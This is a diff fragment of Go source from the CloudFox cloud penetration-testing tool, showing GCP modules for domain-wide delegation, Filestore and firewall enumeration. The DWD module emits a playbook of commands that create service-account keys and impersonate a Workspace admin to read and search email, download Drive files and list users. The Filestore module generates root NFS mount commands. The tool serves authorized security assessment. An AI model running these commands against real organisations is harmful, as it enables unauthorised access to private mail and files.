func (m *DomainWideDelegationModule) generateDWDCommands(accounts []domainwidedelegationservice.DWDServiceAccount) internal.LootFile {
|
||||
var commands strings.Builder
|
||||
commands.WriteString(`# Domain-Wide Delegation (DWD) Exploitation Commands
|
||||
# Generated by CloudFox
|
||||
# WARNING: Only use with proper authorization
|
||||
|
||||
# =============================================================================
|
||||
# STEP 1: INSTALL DEPENDENCIES
|
||||
# =============================================================================
|
||||
pip install google-auth google-auth-oauthlib google-api-python-client
|
||||
|
||||
# =============================================================================
|
||||
# STEP 2: CREATE A SERVICE ACCOUNT KEY (if needed)
|
||||
# =============================================================================
|
||||
# Replace <SERVICE_ACCOUNT_EMAIL> with the service account email from above
|
||||
|
||||
gcloud iam service-accounts keys create sa-key.json \
|
||||
--iam-account=<SERVICE_ACCOUNT_EMAIL>
|
||||
|
||||
# =============================================================================
|
||||
# STEP 3: RUN THE EXPLOIT SCRIPT (INTERACTIVE MODE)
|
||||
# =============================================================================
|
||||
# Replace:
|
||||
# sa-key.json - Path to the service account key file
|
||||
# admin@domain.com - Email of Workspace user to impersonate
|
||||
|
||||
# Start interactive mode (recommended - authenticate once, run many commands):
|
||||
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com
|
||||
|
||||
# Interactive commands:
|
||||
# test - Test which scopes are authorized
|
||||
# emails - Read inbox emails
|
||||
# search <q> - Search emails (e.g., search password reset)
|
||||
# drive - List Google Drive files
|
||||
# download <id> - Download a Drive file
|
||||
# users - List all Workspace users
|
||||
# calendars - List calendars
|
||||
# events - List upcoming calendar events
|
||||
# subject <email> - Switch to impersonate a different user
|
||||
# whoami - Show current config
|
||||
# quit - Exit
|
||||
|
||||
# =============================================================================
|
||||
# STEP 3 (ALT): SINGLE COMMAND MODE
|
||||
# =============================================================================
|
||||
# If you prefer single commands instead of interactive mode:
|
||||
|
||||
# Test all scopes:
|
||||
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com --all-scopes
|
||||
|
||||
# Read emails:
|
||||
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com --action read-emails
|
||||
|
||||
# Search emails:
|
||||
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com --action search-emails --query "password"
|
||||
|
||||
# List Drive files:
|
||||
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com --action list-drive
|
||||
|
||||
# Download a file:
|
||||
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com --action download-file --file-id FILE_ID
|
||||
|
||||
# List Workspace users:
|
||||
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com --action list-users
|
||||
|
||||
# =============================================================================
|
||||
# NOTES
|
||||
# =============================================================================
|
||||
# - Scopes must be pre-authorized in Google Admin Console:
|
||||
# Admin Console > Security > API Controls > Domain-wide Delegation
|
||||
# - The service account's OAuth2 Client ID must be listed there
|
||||
# - Not all scopes may be authorized - run 'test' to check
|
||||
# - admin_directory scopes require impersonating a Workspace admin user
|
||||
# - In interactive mode, use 'subject' command to switch users without restarting
|
||||
`)
|
||||
|
||||
return internal.LootFile{
|
||||
Name: "dwd-playbook",
|
||||
Contents: commands.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *DomainWideDelegationModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DomainWideDelegationModule) getHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Email",
|
||||
"DWD Enabled",
|
||||
"OAuth2 Client ID",
|
||||
"Key ID",
|
||||
"Key Created",
|
||||
"Key Expires",
|
||||
"Key Algorithm",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DomainWideDelegationModule) accountsToTableBody(accounts []domainwidedelegationservice.DWDServiceAccount) [][]string {
|
||||
var body [][]string
|
||||
for _, account := range accounts {
|
||||
dwdStatus := "No"
|
||||
if account.DWDEnabled {
|
||||
dwdStatus = "Yes"
|
||||
}
|
||||
|
||||
clientID := account.OAuth2ClientID
|
||||
if clientID == "" {
|
||||
clientID = "-"
|
||||
}
|
||||
|
||||
if len(account.Keys) > 0 {
|
||||
// One row per key
|
||||
for _, key := range account.Keys {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(account.ProjectID),
|
||||
account.Email,
|
||||
dwdStatus,
|
||||
clientID,
|
||||
key.KeyID,
|
||||
key.CreatedAt,
|
||||
key.ExpiresAt,
|
||||
key.KeyAlgorithm,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
// Account with no keys - still show it
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(account.ProjectID),
|
||||
account.Email,
|
||||
dwdStatus,
|
||||
clientID,
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *DomainWideDelegationModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if accounts, ok := m.ProjectDWDAccounts[projectID]; ok && len(accounts) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "domain-wide-delegation",
|
||||
Header: m.getHeader(),
|
||||
Body: m.accountsToTableBody(accounts),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *DomainWideDelegationModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Generate Python script once (same for all projects)
|
||||
pythonScript := m.generateDWDPythonScript()
|
||||
|
||||
for projectID, accounts := range m.ProjectDWDAccounts {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if len(accounts) > 0 {
|
||||
// Add Python script to each project
|
||||
lootFiles = append(lootFiles, pythonScript)
|
||||
// Add project-specific commands
|
||||
lootFiles = append(lootFiles, m.generateDWDCommands(accounts))
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = DomainWideDelegationOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DomainWideDelegationModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allAccounts := m.getAllDWDAccounts()
|
||||
|
||||
var tables []internal.TableFile
|
||||
|
||||
if len(allAccounts) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "domain-wide-delegation",
|
||||
Header: m.getHeader(),
|
||||
Body: m.accountsToTableBody(allAccounts),
|
||||
})
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if len(allAccounts) > 0 {
|
||||
lootFiles = append(lootFiles, m.generateDWDPythonScript())
|
||||
lootFiles = append(lootFiles, m.generateDWDCommands(allAccounts))
|
||||
}
|
||||
|
||||
output := DomainWideDelegationOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, projectID := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(projectID)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
Executable
+1537
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,400 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
filestoreservice "github.com/BishopFox/cloudfox/gcp/services/filestoreService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPFilestoreCommand = &cobra.Command{
|
||||
Use: globals.GCP_FILESTORE_MODULE_NAME,
|
||||
Aliases: []string{"nfs", "files"},
|
||||
Short: "Enumerate Filestore NFS instances",
|
||||
Long: `Enumerate Filestore instances and their file shares.`,
|
||||
Run: runGCPFilestoreCommand,
|
||||
}
|
||||
|
||||
type FilestoreModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectInstances map[string][]filestoreservice.FilestoreInstanceInfo // projectID -> instances
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type FilestoreOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o FilestoreOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o FilestoreOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPFilestoreCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_FILESTORE_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &FilestoreModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectInstances: make(map[string][]filestoreservice.FilestoreInstanceInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *FilestoreModule) getAllInstances() []filestoreservice.FilestoreInstanceInfo {
|
||||
var all []filestoreservice.FilestoreInstanceInfo
|
||||
for _, instances := range m.ProjectInstances {
|
||||
all = append(all, instances...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *FilestoreModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_FILESTORE_MODULE_NAME, m.processProject)
|
||||
|
||||
allInstances := m.getAllInstances()
|
||||
if len(allInstances) == 0 {
|
||||
logger.InfoM("No Filestore instances found", globals.GCP_FILESTORE_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d Filestore instance(s)", len(allInstances)), globals.GCP_FILESTORE_MODULE_NAME)
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *FilestoreModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
m.mu.Lock()
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["filestore-commands"] = &internal.LootFile{
|
||||
Name: "filestore-commands",
|
||||
Contents: "# Filestore Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
svc := filestoreservice.New()
|
||||
instances, err := svc.ListInstances(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_FILESTORE_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate Filestore instances in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectInstances[projectID] = instances
|
||||
for _, instance := range instances {
|
||||
m.addToLoot(projectID, instance)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *FilestoreModule) addToLoot(projectID string, instance filestoreservice.FilestoreInstanceInfo) {
|
||||
lootFile := m.LootMap[projectID]["filestore-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
// Determine protocol display name
|
||||
protocol := instance.Protocol
|
||||
if protocol == "" {
|
||||
protocol = "NFS_V3" // Default
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# Instance: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Location: %s\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Protocol: %s\n"+
|
||||
"# Tier: %s\n"+
|
||||
"# Network: %s\n"+
|
||||
"# IP(s): %s\n\n",
|
||||
instance.Name,
|
||||
instance.Location,
|
||||
instance.ProjectID,
|
||||
protocol,
|
||||
instance.Tier,
|
||||
instance.Network,
|
||||
strings.Join(instance.IPAddresses, ", "),
|
||||
)
|
||||
|
||||
// gcloud describe command
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Describe instance:\n"+
|
||||
"gcloud filestore instances describe %s --location=%s --project=%s\n\n",
|
||||
instance.Name, instance.Location, instance.ProjectID,
|
||||
)
|
||||
|
||||
// Mount commands for each share
|
||||
if len(instance.Shares) > 0 && len(instance.IPAddresses) > 0 {
|
||||
for _, share := range instance.Shares {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# Share: %s (%d GB)\n"+
|
||||
"# -----------------------------------------------------------------------------\n",
|
||||
share.Name, share.CapacityGB,
|
||||
)
|
||||
|
||||
// Show NFS export options if present
|
||||
if len(share.NfsExportOptions) > 0 {
|
||||
lootFile.Contents += "# NFS Export Options:\n"
|
||||
for _, opt := range share.NfsExportOptions {
|
||||
ipRanges := strings.Join(opt.IPRanges, ", ")
|
||||
if ipRanges == "" {
|
||||
ipRanges = "all"
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# IP Ranges: %s\n"+
|
||||
"# Access: %s\n"+
|
||||
"# Squash: %s\n",
|
||||
ipRanges,
|
||||
opt.AccessMode,
|
||||
opt.SquashMode,
|
||||
)
|
||||
if opt.SquashMode == "NO_ROOT_SQUASH" {
|
||||
lootFile.Contents += "# [!] NO_ROOT_SQUASH - root access preserved!\n"
|
||||
}
|
||||
}
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
|
||||
// Generate mount commands based on protocol
|
||||
for _, ip := range instance.IPAddresses {
|
||||
lootFile.Contents += "# Mount commands (run as root):\n"
|
||||
|
||||
switch protocol {
|
||||
case "NFS_V4_1":
|
||||
// NFSv4.1 mount command
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# NFSv4.1 mount:\n"+
|
||||
"sudo mkdir -p /mnt/%s\n"+
|
||||
"sudo mount -t nfs -o vers=4.1 %s:/%s /mnt/%s\n"+
|
||||
"# With Kerberos (if configured):\n"+
|
||||
"# sudo mount -t nfs -o vers=4.1,sec=krb5p %s:/%s /mnt/%s\n\n",
|
||||
share.Name,
|
||||
ip, share.Name, share.Name,
|
||||
ip, share.Name, share.Name,
|
||||
)
|
||||
default: // NFS_V3 or empty
|
||||
// NFSv3 mount command
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# NFSv3 mount:\n"+
|
||||
"sudo mkdir -p /mnt/%s\n"+
|
||||
"sudo mount -t nfs -o vers=3 %s:/%s /mnt/%s\n\n",
|
||||
share.Name,
|
||||
ip, share.Name, share.Name,
|
||||
)
|
||||
}
|
||||
|
||||
// List contents after mounting
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# After mounting, list contents:\n"+
|
||||
"ls -la /mnt/%s\n"+
|
||||
"# Check disk usage:\n"+
|
||||
"df -h /mnt/%s\n\n",
|
||||
share.Name, share.Name,
|
||||
)
|
||||
|
||||
// Unmount command
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Unmount when done:\n"+
|
||||
"sudo umount /mnt/%s\n\n",
|
||||
share.Name,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *FilestoreModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *FilestoreModule) getHeader() []string {
|
||||
return []string{
|
||||
"Project Name",
|
||||
"Project ID",
|
||||
"Name",
|
||||
"Location",
|
||||
"Tier",
|
||||
"Protocol",
|
||||
"Network",
|
||||
"IP",
|
||||
"Shares",
|
||||
"Access",
|
||||
"Security",
|
||||
"State",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *FilestoreModule) instancesToTableBody(instances []filestoreservice.FilestoreInstanceInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, instance := range instances {
|
||||
var shareNames []string
|
||||
var accessModes []string
|
||||
hasNoRootSquash := false
|
||||
|
||||
for _, share := range instance.Shares {
|
||||
shareNames = append(shareNames, fmt.Sprintf("%s (%dGB)", share.Name, share.CapacityGB))
|
||||
for _, opt := range share.NfsExportOptions {
|
||||
if opt.AccessMode != "" {
|
||||
accessModes = append(accessModes, opt.AccessMode)
|
||||
}
|
||||
if opt.SquashMode == "NO_ROOT_SQUASH" {
|
||||
hasNoRootSquash = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ip := strings.Join(instance.IPAddresses, ", ")
|
||||
if ip == "" {
|
||||
ip = "-"
|
||||
}
|
||||
|
||||
shares := strings.Join(shareNames, ", ")
|
||||
if shares == "" {
|
||||
shares = "-"
|
||||
}
|
||||
|
||||
network := instance.Network
|
||||
if network == "" {
|
||||
network = "-"
|
||||
}
|
||||
|
||||
protocol := instance.Protocol
|
||||
if protocol == "" {
|
||||
protocol = "NFS_V3"
|
||||
}
|
||||
|
||||
// Deduplicate and format access modes
|
||||
access := "-"
|
||||
if len(accessModes) > 0 {
|
||||
uniqueAccess := make(map[string]bool)
|
||||
for _, a := range accessModes {
|
||||
uniqueAccess[a] = true
|
||||
}
|
||||
var accessList []string
|
||||
for a := range uniqueAccess {
|
||||
accessList = append(accessList, a)
|
||||
}
|
||||
access = strings.Join(accessList, ", ")
|
||||
}
|
||||
|
||||
// Security findings
|
||||
security := "OK"
|
||||
if hasNoRootSquash {
|
||||
security = "NO_ROOT_SQUASH"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(instance.ProjectID),
|
||||
instance.ProjectID,
|
||||
instance.Name,
|
||||
instance.Location,
|
||||
instance.Tier,
|
||||
protocol,
|
||||
network,
|
||||
ip,
|
||||
shares,
|
||||
access,
|
||||
security,
|
||||
instance.State,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *FilestoreModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if instances, ok := m.ProjectInstances[projectID]; ok && len(instances) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "filestore",
|
||||
Header: m.getHeader(),
|
||||
Body: m.instancesToTableBody(instances),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *FilestoreModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID := range m.ProjectInstances {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = FilestoreOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_FILESTORE_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *FilestoreModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allInstances := m.getAllInstances()
|
||||
|
||||
var tables []internal.TableFile
|
||||
|
||||
if len(allInstances) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "filestore",
|
||||
Header: m.getHeader(),
|
||||
Body: m.instancesToTableBody(allInstances),
|
||||
})
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := FilestoreOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
}
|
||||
@@ -0,0 +1,666 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
diagramservice "github.com/BishopFox/cloudfox/gcp/services/diagramService"
|
||||
NetworkService "github.com/BishopFox/cloudfox/gcp/services/networkService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPFirewallCommand = &cobra.Command{
|
||||
Use: globals.GCP_FIREWALL_MODULE_NAME,
|
||||
Aliases: []string{"fw", "firewall-rules", "network-security"},
|
||||
Short: "Enumerate VPC networks and firewall rules with security analysis",
|
||||
Long: `Enumerate VPC networks, subnets, and firewall rules across projects with security analysis.
|
||||
|
||||
Features:
|
||||
- Lists all VPC networks and their peering relationships
|
||||
- Shows all subnets with CIDR ranges and configurations
|
||||
- Enumerates firewall rules with security risk analysis
|
||||
- Identifies overly permissive rules (0.0.0.0/0 ingress)
|
||||
- Detects exposed sensitive ports (SSH, RDP, databases)
|
||||
- Generates gcloud commands for remediation
|
||||
|
||||
Security Columns:
|
||||
- Risk: HIGH, MEDIUM, LOW based on exposure analysis
|
||||
- Direction: INGRESS or EGRESS
|
||||
- Source: Source IP ranges (0.0.0.0/0 = internet)
|
||||
- Ports: Allowed ports and protocols
|
||||
- Issues: Detected security misconfigurations
|
||||
|
||||
Attack Surface:
|
||||
- 0.0.0.0/0 ingress allows internet access to resources
|
||||
- All ports allowed means no port restrictions
|
||||
- No target tags means rule applies to ALL instances
|
||||
- VPC peering may expose internal resources`,
|
||||
Run: runGCPFirewallCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type FirewallModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Per-project data for hierarchical output
|
||||
ProjectNetworks map[string][]NetworkService.VPCInfo
|
||||
ProjectSubnets map[string][]NetworkService.SubnetInfo
|
||||
ProjectFirewallRules map[string][]NetworkService.FirewallRuleInfo
|
||||
LootMap map[string]map[string]*internal.LootFile
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type FirewallOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o FirewallOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o FirewallOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPFirewallCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_FIREWALL_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &FirewallModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectNetworks: make(map[string][]NetworkService.VPCInfo),
|
||||
ProjectSubnets: make(map[string][]NetworkService.SubnetInfo),
|
||||
ProjectFirewallRules: make(map[string][]NetworkService.FirewallRuleInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *FirewallModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_FIREWALL_MODULE_NAME, m.processProject)
|
||||
|
||||
// Get all data for stats
|
||||
allNetworks := m.getAllNetworks()
|
||||
allSubnets := m.getAllSubnets()
|
||||
allRules := m.getAllFirewallRules()
|
||||
|
||||
if len(allRules) == 0 && len(allNetworks) == 0 {
|
||||
logger.InfoM("No networks or firewall rules found", globals.GCP_FIREWALL_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count public ingress rules and peerings
|
||||
publicIngressCount := 0
|
||||
for _, rule := range allRules {
|
||||
if rule.IsPublicIngress {
|
||||
publicIngressCount++
|
||||
}
|
||||
}
|
||||
|
||||
peeringCount := 0
|
||||
for _, network := range allNetworks {
|
||||
peeringCount += len(network.Peerings)
|
||||
}
|
||||
|
||||
msg := fmt.Sprintf("Found %d network(s), %d subnet(s), %d firewall rule(s)",
|
||||
len(allNetworks), len(allSubnets), len(allRules))
|
||||
if publicIngressCount > 0 {
|
||||
msg += fmt.Sprintf(" [%d public ingress]", publicIngressCount)
|
||||
}
|
||||
if peeringCount > 0 {
|
||||
msg += fmt.Sprintf(" [%d peerings]", peeringCount)
|
||||
}
|
||||
logger.SuccessM(msg, globals.GCP_FIREWALL_MODULE_NAME)
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllNetworks returns all networks from all projects
|
||||
func (m *FirewallModule) getAllNetworks() []NetworkService.VPCInfo {
|
||||
var all []NetworkService.VPCInfo
|
||||
for _, networks := range m.ProjectNetworks {
|
||||
all = append(all, networks...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllSubnets returns all subnets from all projects
|
||||
func (m *FirewallModule) getAllSubnets() []NetworkService.SubnetInfo {
|
||||
var all []NetworkService.SubnetInfo
|
||||
for _, subnets := range m.ProjectSubnets {
|
||||
all = append(all, subnets...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllFirewallRules returns all firewall rules from all projects
|
||||
func (m *FirewallModule) getAllFirewallRules() []NetworkService.FirewallRuleInfo {
|
||||
var all []NetworkService.FirewallRuleInfo
|
||||
for _, rules := range m.ProjectFirewallRules {
|
||||
all = append(all, rules...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *FirewallModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating networks and firewall in project: %s", projectID), globals.GCP_FIREWALL_MODULE_NAME)
|
||||
}
|
||||
|
||||
ns := NetworkService.New()
|
||||
|
||||
// Initialize loot for this project
|
||||
m.mu.Lock()
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["firewall-commands"] = &internal.LootFile{
|
||||
Name: "firewall-commands",
|
||||
Contents: "# Firewall Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
var networks []NetworkService.VPCInfo
|
||||
var subnets []NetworkService.SubnetInfo
|
||||
var rules []NetworkService.FirewallRuleInfo
|
||||
|
||||
// Get networks
|
||||
var err error
|
||||
networks, err = ns.Networks(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_FIREWALL_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate networks in project %s", projectID))
|
||||
}
|
||||
|
||||
